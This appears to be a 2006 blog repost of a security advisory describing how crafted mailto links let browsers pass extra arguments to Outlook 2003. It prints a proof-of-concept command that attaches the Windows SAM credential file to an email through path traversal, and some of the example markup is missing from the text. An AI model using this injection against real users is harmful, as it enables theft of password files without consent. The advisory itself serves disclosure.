Wednesday, May 03, 2006

Office 2003 file attachment exploit

Found an interesting exploit from here:
Inge Henriksen's Technology Blog

Advisory Name: Multiple browsers Windows mailto protocol Office 2003 file attachment exploit

Tested and Confirmed Vulerable:
Micrsoft Outlook 2003 SP 1
Microsoft Internet Explorer 6 SP2
Mozilla Firefox 1.06
Avant Browser 10.1 Build 17

Severity: Low

Type: Stealing files

From where: Remote

Discovered by:
Inge Henriksen (inge.henriksen@booleansoft.com) http://ingehenriksen.blogspot.com/

Vendor Status: Not notified

Overview:
Application protocols handling in Microsoft Windows is badly designed, i.e. when someone types
mailto:someone@somewhere.com into a browser the protocol is first looked up under
HKEY_CLASSES_ROOT\%protocol%\shell\open\command, if it is a protocol that is allowed under the
current user context then the value is simply replaced by the contents in the address bar at %1. In
our example

"C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "%1"

would become

"C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "mailto:someone@somewhere.com"

There is absolutely no input validation in all the browsers I have tested, i.e. there are exploits
availible by entering more data into the address bar than was intended.

Proof-of Concept:

The mailto application protocol can be axploited by entering "", this will cause
OUTLOOK.EXE to attach the file to the email without asking for permission, thus opening
up for sensitive files to be stolen when a user sends an email it is fair to believe that many
people would not notice the attached file before sending the email.

To attach the SAM file to a email a html file could contain this:

Click here to email me

i.e.:

Click here to email me

The command being run would now be:

"C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "mailto:someone@somewhere.com""..\..\..\..\..\windows\REPAIR\SAM"

, thus attaching the SAM file.